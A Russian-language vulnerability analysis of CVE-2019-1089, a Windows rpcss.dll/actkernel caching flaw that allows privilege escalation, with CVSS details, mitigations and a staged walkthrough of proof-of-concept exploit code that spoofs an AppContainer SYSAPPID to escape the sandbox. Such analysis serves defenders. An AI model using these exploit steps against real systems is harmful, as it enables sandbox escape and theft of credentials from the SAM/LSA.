Уязвимость BDU:2019-02669 (CVE-2019-1089) Windows
Уязвимость BDU:2019-02669 (CVE-2019-1089) в библиотеке rpcss.dll позволяет обойти проверки безопасности в RPC-сервисе Activation Kernel ("actkernel") в Windows. Это приводит к возможности повышения привилегий (EoP) из-за некорректного кеширования результатов проверки безопасности при обработке RPC-вызовов.
Анализ уязвимости
Уровень опасности: 7.8 HIGH (CVSSv3.0)
Вектор атаки: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
-
AV:L (Attack Vector - Вектор атаки): Локальный - требуется локальный доступ к системе.
-
AC:L (Attack Complexity - Сложность атаки): Низкая - не требует сложных условий эксплуатации.
-
PR:L (Privileges Required - Требуемые привилегии): Низкие - атакующий должен иметь возможность выполнять код с базовыми правами пользователя.
-
UI:N (User Interaction - Взаимодействие с пользователем): Не требуется - атака не требует действий пользователя.
-
S:U (Scope - Область воздействия): Неизменная - уязвимый компонент не влияет на другие компоненты.
-
C:H (Confidentiality Impact - Воздействие на конфиденциальность): Высокое - полная компрометация конфиденциальных данных.
-
I:H (Integrity Impact - Воздействие на целостность): Высокое - полное нарушение целостности системы.
-
A:H (Availability Impact - Воздействие на доступность): Высокое - полный отказ в обслуживании.
Условия эксплуатации
-
Локальный доступ: Злоумышленник должен иметь возможность выполнить код в системе (например, через вредоносное ПО или фишинговую атаку).
-
Уязвимая ОС: Система должна быть в списке уязвимых версий Windows (Windows 7-10, Server 2008-2019).
-
Базовые привилегии: Достаточно прав стандартного пользователя или AppContainer (AC/LPAC).
-
Предварительная инициализация: Пользователь должен был ранее инициировать DCOM-активацию (например, запуск OOP COM-сервера).
Технический механизм уязвимости
-
Архитектура RPCSS:
Служба разделена на:-
rpcss.exe(запущен с низкими привилегиями) -
Служба активации DCOM (запущена как
SYSTEM).
-
-
Ошибка кеширования:
При активации DCOM:-
RPCSS олицетворяет пользователя при вызове actkernel через ALPC.
-
Actkernel проверяет PID вызывающего процесса (должен быть PID RPCSS).
-
Уязвимость: Результат проверки кешируется по
Modified IDтокена пользователя. -
После кеширования любой процесс с этим токеном может вызывать actkernel напрямую.
-
Анализ эксплоита
Рассмотрим код эксплоита для понимания работы вектора атаки с использованием уязвимости CVE-2019-1089:
Этап 1: Запуск в AppContainer (AC)
if (!IsInAppContainer()) {
// Создание AC для Calculator
Win32ProcessConfig config = new Win32ProcessConfig();
config.AppContainerSid = TokenUtils.DerivePackageSidFromName(
"microsoft.windowscalculator_8wekyb3d8bbwe" // SID Calculator
);
Win32Process.CreateProcess(config); // Запуск себя в AC
}
Цель: Создать среду для эксплуатации через изолированный AppContainer.
Этап 2: Инициализация кеша безопасности
Guid clsid = new Guid("ce0e0be8-cf56-4577-9577-34cc96ac087c"); // CLSID OOP-сервера
CoCreateInstance(ref clsid, IntPtr.Zero, CLSCTX.LOCAL_SERVER, ref iid); // Активация DCOM
Цель: Вызвать DCOM-активацию, чтобы RPCSS обратился к actkernel от имени AC-токена (кеширует результат).
Этап 3: Прямой вызов actkernel
using (var client = new Client()) {
client.Connect("actkernel"); // Прямое подключение к ALPC-порту
client.PrivGetPsmToken(
0x40000001,
0,
"Microsoft.MicrosoftEdge_44.18362.1.0_neutral__8wekyb3d8bbwe", // Поддельный SYSAPPID
"Microsoft.MicrosoftEdge_8wekyb3d8bbwe!MicrosoftEdge",
out NtToken token, // Возвращаемый токен
out int a
);
}
Ключевые функции:
-
PrivGetPsmToken(): Метод actkernel, изменяющийSYSAPPIDтокена. -
Подмена SYSAPPID на Microsoft Edge: позволяет обходить проверки брокеров.
Последствия успешной эксплуатации
-
Повышение привилегий:
// Полученный токен имеет поддельный SYSAPPID token.AppContainerSid.Name // "S-1-15-...-MicrosoftEdge"
-
Sandbox Escape:
-
Обход ограничений AppContainer через подмену доверенного SYSAPPID (например, Edge).
-
Доступ к API брокеров (Browser/Desktop Broker).
-
-
Доступ к данным:
-
Чтение SAM/LSA (как в PoC: вывод подразделов реестра SAM).
-
Компрометация системных учетных данных.
-
-
Полная компрометация системы:
Цепочка: AC Escape → SYSTEM через Broker → установка персистентности.
Методы защиты
-
Установка обновлений.
-
Минимизация привилегий:
-
Запуск служб с
Least Privilege(не SYSTEM). -
Отключение ненужных COM-компонентов.
-
-
Контроль целостности (CI):
Мониторинг измененийrpcss.dll:Get-FileHash C:\Windows\System32\rpcss.dll -Algorithm SHA256